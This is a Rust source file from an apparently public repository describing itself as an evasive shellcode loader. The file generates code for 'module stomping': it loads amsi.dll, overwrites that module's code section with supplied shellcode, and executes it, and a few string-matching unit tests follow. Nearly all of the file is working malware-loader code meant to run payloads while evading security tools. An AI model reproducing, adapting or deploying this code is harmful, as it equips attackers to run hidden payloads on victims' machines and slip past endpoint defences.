myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

module_stomping.rs (5462B)

      1 pub fn module_stomping_import() -> String {
      2     super::common::common_process_injection_imports().to_string()
      3 }
      4 
      5 pub fn module_stomping_const() -> String {
      6     format!(
      7         r#"
      8 {}
      9 
     10 {}
     11 
     12 #[link(name = "ntdll")]
     13 extern "system" {{
     14     fn NtProtectVirtualMemory(
     15         process_handle: *mut std::ffi::c_void,
     16         base_address: *mut *mut std::ffi::c_void,
     17         size: *mut usize,
     18         new_protect: u32,
     19         old_protect: *mut u32,
     20     ) -> i32;
     21 
     22     fn RtlCopyMemory(
     23         destination: *mut std::ffi::c_void,
     24         source: *const std::ffi::c_void,
     25         length: usize,
     26     );
     27 }}
     28 
     29 {}
     30 "#,
     31         super::common::COMMON_MEMORY_CONSTANTS,
     32         super::common::COMMON_PROCESS_CONSTANTS,
     33         super::common::common_process_structures()
     34     )
     35 }
     36 
     37 pub fn module_stomping_init() -> String {
     38     String::new()
     39 }
     40 
     41 pub fn module_stomping_process(process: &str) -> String {
     42     let _process_wide = format!(
     43         "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
     44         process.replace('\\', "\\\\")
     45     );
     46 
     47     r#"
     48     unsafe {
     49         #[link(name = "kernel32")]
     50         extern "system" {
     51             fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut std::ffi::c_void;
     52         }
     53 
     54         let target_dll = b"amsi.dll\0".as_ptr();
     55         let module_handle = LoadLibraryA(target_dll);
     56 
     57         if module_handle.is_null() {
     58             panic!("failed");
     59         }
     60 
     61         let module_base = module_handle as *mut u8;
     62         let _dos_header = module_base as *const u16;
     63         let e_lfanew = *(module_base.add(0x3C) as *const u32);
     64         let nt_headers = module_base.add(e_lfanew as usize);
     65         let optional_header = nt_headers.add(24);
     66         let size_of_image = *(optional_header.add(56) as *const u32) as usize;
     67 
     68         let code_section_start = module_base.add(0x1000);
     69         let usable_size = if shellcode.len() < size_of_image - 0x1000 {
     70             shellcode.len()
     71         } else {
     72             size_of_image - 0x1000
     73         };
     74 
     75         let mut region_base = code_section_start as *mut std::ffi::c_void;
     76         let mut region_size = usable_size;
     77         let mut old_protect: u32 = 0;
     78 
     79         #[link(name = "kernel32")]
     80         extern "system" {
     81             fn GetCurrentProcess() -> *mut std::ffi::c_void;
     82         }
     83 
     84         let status = NtProtectVirtualMemory(
     85             GetCurrentProcess(),
     86             &mut region_base,
     87             &mut region_size,
     88             PAGE_EXECUTE_READWRITE,
     89             &mut old_protect,
     90         );
     91 
     92         if status != 0 {
     93             panic!("failed");
     94         }
     95 
     96         RtlCopyMemory(
     97             code_section_start as *mut std::ffi::c_void,
     98             shellcode.as_ptr() as *const std::ffi::c_void,
     99             usable_size,
    100         );
    101 
    102         let mut restored_protect: u32 = 0;
    103         NtProtectVirtualMemory(
    104             GetCurrentProcess(),
    105             &mut region_base,
    106             &mut region_size,
    107             PAGE_EXECUTE_READ,
    108             &mut restored_protect,
    109         );
    110 
    111         let shellcode_fn: extern "C" fn() = std::mem::transmute(code_section_start);
    112         shellcode_fn();
    113     }
    114 "#
    115     .to_string()
    116 }
    117 
    118 fn generate_module_stomping_template(function_name: &str, process: &str) -> String {
    119     super::common::TechniqueTemplateBuilder::new()
    120         .with_import(module_stomping_import())
    121         .with_const(module_stomping_const())
    122         .with_init(module_stomping_init())
    123         .with_process(module_stomping_process(process))
    124         .build(function_name)
    125 }
    126 
    127 pub fn generate_module_stomping_code(function_name: &str, process: &str) -> String {
    128     generate_module_stomping_template(function_name, process)
    129 }
    130 
    131 pub struct ModuleStompingGenerator;
    132 
    133 impl super::trait_generator::TechniqueGenerator for ModuleStompingGenerator {
    134     fn generate_code(&self, process: &str, function_name: &str) -> String {
    135         generate_module_stomping_code(function_name, process)
    136     }
    137 
    138     fn generate_code_with_dynamic_resolver(
    139         &self,
    140         process: &str,
    141         function_name: &str,
    142         _encryption_type: &str,
    143         _encryptor: &dyn crate::encryption::Encryptor,
    144     ) -> String {
    145         self.generate_code(process, function_name)
    146     }
    147 
    148     fn requires_process(&self) -> bool {
    149         false
    150     }
    151 
    152     fn name(&self) -> &'static str {
    153         "ModuleStomping"
    154     }
    155 }
    156 
    157 #[cfg(test)]
    158 mod tests {
    159     use super::*;
    160     use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
    161 
    162     #[test]
    163     fn test_generate_module_stomping_template_contains_all_parts() {
    164         let template = generate_module_stomping_template("MyFunction", "cmd.exe");
    165         assert!(template.contains("use std::ptr"));
    166         assert!(template.contains("LoadLibraryA"));
    167         assert!(template.contains("fn MyFunction"));
    168         assert!(template.contains("NtProtectVirtualMemory"));
    169         assert!(template.contains("amsi.dll"));
    170     }
    171 
    172     #[test]
    173     fn test_generate_module_stomping_code() {
    174         let code = generate_module_stomping_code("MyRandomFunc", "notepad.exe");
    175         assert!(code.contains("fn MyRandomFunc"));
    176         assert!(code.contains("LoadLibraryA"));
    177         assert!(code.contains("RtlCopyMemory"));
    178     }
    179 
    180     #[test]
    181     fn test_module_stomping_generator_name() {
    182         let gen = ModuleStompingGenerator;
    183         assert_eq!(gen.name(), "ModuleStomping");
    184     }
    185 
    186     #[test]
    187     fn test_module_stomping_requires_process() {
    188         let gen = ModuleStompingGenerator;
    189         assert!(!gen.requires_process());
    190     }
    191 }